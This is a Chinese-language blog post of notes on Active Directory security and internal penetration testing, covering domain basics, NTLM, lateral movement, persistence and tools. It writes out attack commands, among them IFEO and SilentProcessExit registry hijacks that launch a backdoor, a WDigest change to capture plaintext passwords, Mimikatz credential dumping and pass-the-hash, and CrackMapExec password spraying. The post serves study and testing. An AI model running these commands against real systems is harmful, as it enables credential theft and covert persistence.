目录

  1. 1. 前言
  2. 2. 基本概念
  3. 3. 环境搭建
  4. 4. Windows 基础
    1. 4.1. SCM
    2. 4.2. SAM
    3. 4.3. NTLM
    4. 4.4. 域相关命令
  5. 5. 横向移动
  6. 6. 权限维持
    1. 6.1. 系统后门
      1. 6.1.1. 自启动
        1. 6.1.1.1. 路径加载
      2. 6.1.2. 计划任务
    2. 6.2. 事件触发执行
      1. 6.2.1. 粘滞键
      2. 6.2.2. 映像劫持(IFEO 注入)
      3. 6.2.3. 屏保&登录
    3. 6.3. 域后门
      1. 6.3.1. SID History
    4. 6.4. DCSync
  7. 7. 工具
    1. 7.1. Mimikatz
      1. 7.1.1. Sekurlsa 模块
      2. 7.1.2. kiwi
    2. 7.2. CrackMapExec
      1. 7.2.1. 哈希传递实现 smb 连接
      2. 7.2.2. smb 密码喷洒
    3. 7.3. Impacket
      1. 7.3.1. MacOS 下的问题
      2. 7.3.2. 功能

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

域安全基础

2025/9/4
  |     |   总文章阅读量:

前言

参考:

https://cloud.tencent.com/developer/article/1624522

https://www.freebuf.com/articles/system/272298.html

https://blog.csdn.net/qq_28205153/article/details/113827476

https://www.freebuf.com/sectool/360319.html

https://www.cnblogs.com/-mo-/p/11890232.html

https://blog.csdn.net/qq_42077227/article/details/130279040

《内网渗透体系建设》 Nu1L Team


基本概念

假设你是某部门的管理人员,希望能够拥有该部门的所有服务器的登陆、配置权限,那么是不是需要去所有服务器上创建管理员账户呢?一旦需要修改,就需要去每台服务器上都执行一次操作

如果这些服务器都在一个域里面,管理员只需要用域管理员账号修改一次,配置就会统一下发到所有服务器上,极大程度上减少了我们的工作量。

相关概念:

  • **域(Domain)**:将网络中的多台计算机通过逻辑的方式组织到一起,进行集中管理,这种集中管理的环境称为域。
  • **域控制器(Domain Controller,DC)**:每个域中至少有一台域控制器、集中存放整个域的用户账号和安全数据库,安装了活动目录(AD)的主机称为域控制器。
  • **活动目录(Active Directory,AD)**:活动目录是一个目录数据库,存储整个windows网络中对象的相关信息(可以理解为存储了网络中所有资源的快捷方式)。也是一种服务,可对活动目录中数据执行各种操作。
  • 父域和子域:出于管理需求,需要在网络中划分多个域。第一个域称为父域,各分部的域称为子域。不同的域之间,信息交互的条目会大大减少,且可以压缩后进行交互,节约带宽。并且域管可以针对各个域,设置不同的安全策略,灵活管理。
  • **域树 (Tree)**:域管只能管理本域,如果需要管理其他域,则需要建立信任关系,域树则是指多个域通过建立信任关系组成的集合。同理,多个域树通过建立信任关系组成的集合则称为域林。
  • **域名服务器 (DNS)**:用于实现域名和与之对应的IP地址之间相互转换。因为域中的计算机是使用DNS来定位域控和其他服务器的,所以域的名字就是DNS域的名字。(DNS和DC一般在同一台机器上)

和工作组的区别:

  • 工作组:默认模式,人人平等,不方便管理
  • 域:人人不平等,集中管理,统一管理

环境搭建

搭一个简单的域环境:

在 domain.local 域中,有三台计算机,分别为 dc.domain.local(域控制器) 、john.domain.local(域成员)、bob.domain.local(域成员),它们的 ip 是 192.168.1.1 、192.168.1.2 、192.168.1.3 。


Windows 基础

SCM

https://learn.microsoft.com/zh-cn/windows/win32/services/service-control-manager

服务控制管理器(SCM)在系统启动时启动。 它是远程过程调用(RPC)服务器,以便服务配置和服务控制程序可以作远程计算机上的服务。


SAM

https://blog.csdn.net/m0_56378124/article/details/118112981

securityaccountmanager,安全账号管理器。Windows中对用户账户的安全管理使用了 SAM 的机制,安全账号管理器对账号的管理是通过安全标识进行的,安全标识在账号创建时就同时创建,一旦账号被删除,安全标识也同时被删除。

类似于 unix 系统中的 passwd 文件,不过没有 unix 的 passwd 文件那么直观,当我们忘记密码的时候,就可以通过删除 SAM 文件,快速地进入系统

位置:

  • C:\WINDOWS\repair\SAM
  • C:\WINDOWS\system32\config\SAM

NTLM

https://websec.readthedocs.io/zh/latest/auth/ntlm.html

NTLM是 NT LAN Manager 的缩写,NTLM 是基于挑战/应答的身份验证协议,是 Windows NT 早期版本中的标准安全协议。

流程:

  • 客户端在本地加密当前用户的密码成为密码散列
  • 客户端向服务器明文发送账号
  • 服务器端产生一个16位的随机数字发送给客户端,作为一个challenge
  • 客户端用加密后的密码散列来加密challenge,然后返回给服务器,作为response
  • 服务器端将用户名、challenge、response发送给域控制器
  • 域控制器用这个用户名在SAM密码管理库中找到这个用户的密码散列,然后使用这个密码散列来加密chellenge
  • 域控制器比较两次加密的challenge,如果一样那么认证成功,反之认证失败

域相关命令

https://www.cnblogs.com/05-hust/articles/12307385.html

https://learn.microsoft.com/zh-cn/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/

net user /domain
# 查看当前域中的用户

net group
# 列出本地服务器上的所有组,域环境下只能用于域控
net group "domain admins" /domain
# 列出域内管理员组的用户

net use
# 查看自身当前与网络资源的连接,例如驱动器映射、IPC连接
net use e: \\financial\letters
# 将E盘分配给financial服务器上的letters共享目录
net use d:\\server\share /user:Accounts\User1
# 连接

横向移动

## 哈希传递(Pass The Hash)

https://zhuanlan.zhihu.com/p/472019671

在域环境中,用户登录计算机时一般使用域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也相同,攻击者就能使用哈希传递攻击的方法来登录内网中的其他主机。

注意,此处传递的不是明文密码,因为明文相同,所以其 session hash 都是固定的(除非密码被修改并刷新缓存),则无需解密 hash 值,直接传递这个 hash 进行身份验证即可

在 Windows 中,pth 通过 NT Lan Manager(NTLM),Kereros 和其他身份验证协议来进行单点登录。在 Windows 中创建密码后,密码经过哈希化处理后存储在安全账户管理器(SAM),本地安全机构子系统(LSASS)进程内存,凭据管理器(CredMan),Active Directory 中的 ntds.dit 数据库或者其他地方。因此,当用户登录 Windows 工作站或服务器时,他们实际上会留下密码凭据(hash)。

工具:mimikatz、impacket


权限维持

https://blog.csdn.net/weixin_44268918/article/details/132338391

系统后门

自启动

路径加载

将木马放在系统的自启动目录下

计划任务


事件触发执行

粘滞键

映像劫持(IFEO 注入)

映像劫持是利用 Windows 的 IFEO(Image File Execution Options)功能来实现的。IFEO 实际上是 Windows 的一项正常功能,主要用于调试程序,其初衷是在程序启动的时候开启调试器来调试程序,这样一来可以在调试器中观察程序在难以重现的环境中的行为。

简单来说就是,通过修改程序指定的注册表实现程序的劫持,当运行程序的时候实际上运行的是我们留的后门程序。

一个程序当要运行的时候,会去检查注册表,如果有指定的程序并且开启了 debugger,那么会优先执行 debugger 指定的程序,这样就会造成映像劫持。

使用 powershell 查看 IFEO 注册表

get-acl -path "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"

修改注册表,劫持记事本为计算器:

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "c:\windows\system32\calc.exe" /reg:32

REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "c:\windows\system32\calc.exe" /reg:32

隐藏劫持:配合 GlobalFlag 来实现,执行正常关闭后触发,也就是说当记事本执行后,木马是不会被执行的,同时记事本依旧是能够正常运行的,相当于无感操作,但是当关闭记事本的时候,就会自动触发执行后门木马

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\1\3000.exe"

屏保&登录


域后门

SID History


DCSync


工具

Mimikatz

Windows 密码提取工具,可收集凭证信息

Windows 系统中用户登录后系统会将身份凭证存储于 lsass.exe 进程的内存当中,Mimikatz 通过注入 lsass.exe 进程读取进程内存,对 lsass 进行逆算,从中获取对应的明文密码。

lsass 是微软 Windows 系统的安全机制,它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass 内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中。

在安装了 KB 2871997 补丁或者系统版本大于 windows server 2012 时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文,cmd 命令(执行后重启或用户重新登录就可以成功抓取):

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Mimikatz 的启动需要 Administrator/SYSTEM 权限运行,默认情况下拥有 32 位以及 64 位版本

修改运行权限:

privilege::debug
privilege:: #查看 privilege 的运行模块

Sekurlsa 模块

Sekurlsa 模块能从lsass.exe进程中提取 passwords、keys、pin、tickets 等用户凭据信息,是最常用到模块。

获取明文密码:

sekurlsa::logonpasswords

查看用户哈希

lsadump::sam

权限较低的话需要执行 process::runp 以系统权限运行

转储并导出 lsass.exe 进程

sekurlsa::minidump lsass.tmp

通过哈希传递进行横向移动

sekurlsa::pth /user:admin /domain:host1 /ntlm:b2781ba85ac750ec286744b009599637
sekurlsa::pth /user:admin /domain:host1 /aes256:b2781ba85ac750ec286744b009599637

kiwi

是 msf 下的一个模块

meterpreter > help kiwi #查看帮助
Kiwi Commands
=============
Command                Description
-------                -----------
creds_all              #列举所有凭据/所有的系统密码
creds_kerberos         #列举所有kerberos凭据
creds_msv              #列举所有msv凭据
creds_ssp              #列举所有ssp凭据
creds_tspkg            #列举所有tspkg凭据
creds_wdigest          #列举所有wdigest凭据
dcsync                 #通过DCSync检索用户帐户信息
dcsync_ntlm            #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create   #创建黄金票据
kerberos_ticket_list   #列举kerberos票据
kerberos_ticket_purge  #清除kerberos票据
kerberos_ticket_use    #使用kerberos票据
kiwi_cmd               #kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令
lsa_dump_sam           #dump出lsa的SAM
lsa_dump_secrets       #dump出lsa的密文
password_change        #修改密码
wifi_list              #列出当前用户的wifi配置文件
wifi_list_shared       #列出共享wifi配置文件/编码

CrackMapExec

内网域渗透,支持 ftp,smb,ssh,winrm,ldap,rdp,mssql 协议

哈希传递实现 smb 连接

-x 通过cmd.exe执行命令
-X 通过cmd.exe调用执行powershell命令
crackmapexec smb 192.168.216.144 -u 'administrator' -p 'pass1234!' -x 'whoami'

或者使用 ntlm hash
crackmapexec smb 192.168.216.144 -u 'administrator' -H 'aad3b435b51404eeaad3b435b51404ee:ff1a0a31d936bc8bf8b1ffc5b244b356' -x 'whoami'

默认情况下会自动选择登录域,-d可以指定域登录,-x要执行的命令
CME将按以下顺序执行命令
1.wmiexec:通过WMI执行命令
2.atexe:通过Windows任务调度程序调度任务来执行命令
3.smbexec:通过创建和运行服务来执行命令

-X '$PSVersionTable' 使用查看powershell版本环境命令 ,--amsi-bypass /path/payload 执行powershell

smb 密码喷洒

密码喷洒攻击属于一种自动化攻击的方式,为了避免只针对一个用户进行密码爆破而造成账户锁定,密码喷洒攻击是对所有用户进行爆破,既避免了用户被锁定,同时也提高了用户破解密码的效率。同时,不同于固定用户名对密码进行爆破,密码喷洒攻击是固定密码对用户名进行爆破。

已有密码字典的情况下,可以进行 smb 密码喷洒爆破出密码对应的域内用户

crackmapexec smb 10.10.10.12 -u users.txt -p 'admin!@#45'

Impacket

https://www.freebuf.com/sectool/175208.html

Impacket 是一个 Python 类库,用于对 SMB1-3 或 IPv4 / IPv6 上的 TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP 等协议进行低级编程访问。

MacOS 下的问题

mac 下的环境问题,参考:https://stackoverflow.com/questions/2438471/raw-socket-sendto-failure-in-os-x

macos 上 ICMP 的 raw socket 不允许自定义 IP 头(即不能用 IP_HDRINCL),只能发送 ICMP 数据部分,IP 头由系统自动填充。

使用 ping.py 时会报错 OSError: [Errno 22] Invalid argument

修复方法:只发送 ICMP 包,不发送 IP 包

import select
import socket
import time
import sys

from impacket import ImpactDecoder, ImpactPacket

if len(sys.argv) < 3:
    print("Use: %s <src ip> <dst ip>" % sys.argv[0])
    sys.exit(1)

src = sys.argv[1]
dst = sys.argv[2]

# Create a new IP packet and set its source and destination addresses.

ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)

# Create a new ICMP packet of type ECHO.

icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHO)

# Include a 156-character long payload inside the ICMP packet.
icmp.contains(ImpactPacket.Data(b"A"*156))

# Have the IP packet contain the ICMP packet (along with its payload).
ip.contains(icmp)

# Open a raw socket. Special permissions are usually required.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
# s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

seq_id = 0
while 1:
    # Give the ICMP packet the next ID in the sequence.
    seq_id += 1
    icmp.set_icmp_id(seq_id)

    # Calculate its checksum.
    icmp.set_icmp_cksum(0)
    icmp.auto_checksum = 1

    # Send it to the target host.
    # s.sendto(ip.get_packet(), (dst, 0))

    # 只发送ICMP包,不发送IP包
    s.sendto(icmp.get_packet(), (dst, 0))

    # Wait for incoming replies.
    if s in select.select([s], [], [], 1)[0]:
        reply = s.recvfrom(2000)[0]

        # Use ImpactDecoder to reconstruct the packet hierarchy.
        rip = ImpactDecoder.IPDecoder().decode(reply)
        # Extract the ICMP packet from its container (the IP packet).
        ricmp = rip.child()

        # If the packet matches, report it to the user.
        if rip.get_ip_dst() == src and rip.get_ip_src(
        ) == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type():
            print("Ping reply for sequence #%d" % ricmp.get_icmp_id())

        time.sleep(1)

功能

如果有下载源码的话,脚本都在 examples 目录下

  • ping.py:ICMP Ping,使用 ICMP echo 和 echo-reply 数据包检查主机状态
ping.py <src ip> <dst ip>
  • lookupsid.py:通过 [MS-LSAT] MSRPC 接口的 Windows SID bruteforcer 示例,旨在查找远程用户/组
  • psexec.py:在远程 Windows 系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程 shell 命令(不需要安装任何客户端软件)
  • smbexec.py:与 psexec 相似,但是不会将二进制文件放入磁盘,smbexec 利用一个批处理文件和一个临时文件来执行和转发消息。与 psexec 一样,smbexec 通过 SMB 协议 (445/TCP) 发送输入并接收输出。
  • rpcdump.py:转储在目标上注册的RPC端点和字符串bindings列表。它也会尝试将它们与一些知名的端点进行匹配
  • samrdump.py:与 MSRPC 套件中的安全帐户管理器远程接口通信的应用程序。它将为我们列出目标系统上的用户帐户,可用资源共享以及通过此服务导出的其他敏感信息
  • sniff.py:一个简单的数据包嗅探脚本。使用 pcapy 库来侦听通过指定接口传输的数据包
  • sniffer.py:一个简单的数据包嗅探脚本,使用原始套接字来侦听与指定协议相对应的传输数据包
  • wmiexec.py:生成一个使用 Windows Management Instrumentation 的半交互式shell,并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理,因此它非常的隐蔽。
  • wmiquery.py:发出WQL查询并获取目标系统WMI对象的描述信息
  • atexec.py:通过Task Scheduler服务在目标系统上执行命令,并返回输出结果
  • getArch.py:该脚本将连接目标(或目标列表上的)计算机,并使用已记录的 MSRPC 特征收集由(ab)安装的操作系统架构类型。
  • ifmap.py:该脚本将绑定到目标的 MGMT 接口,以获取接口 ID 列表。它将在另一个接口 UUID 列表的顶部使用该列表,并报告该接口是否被列出和/或处于侦听状态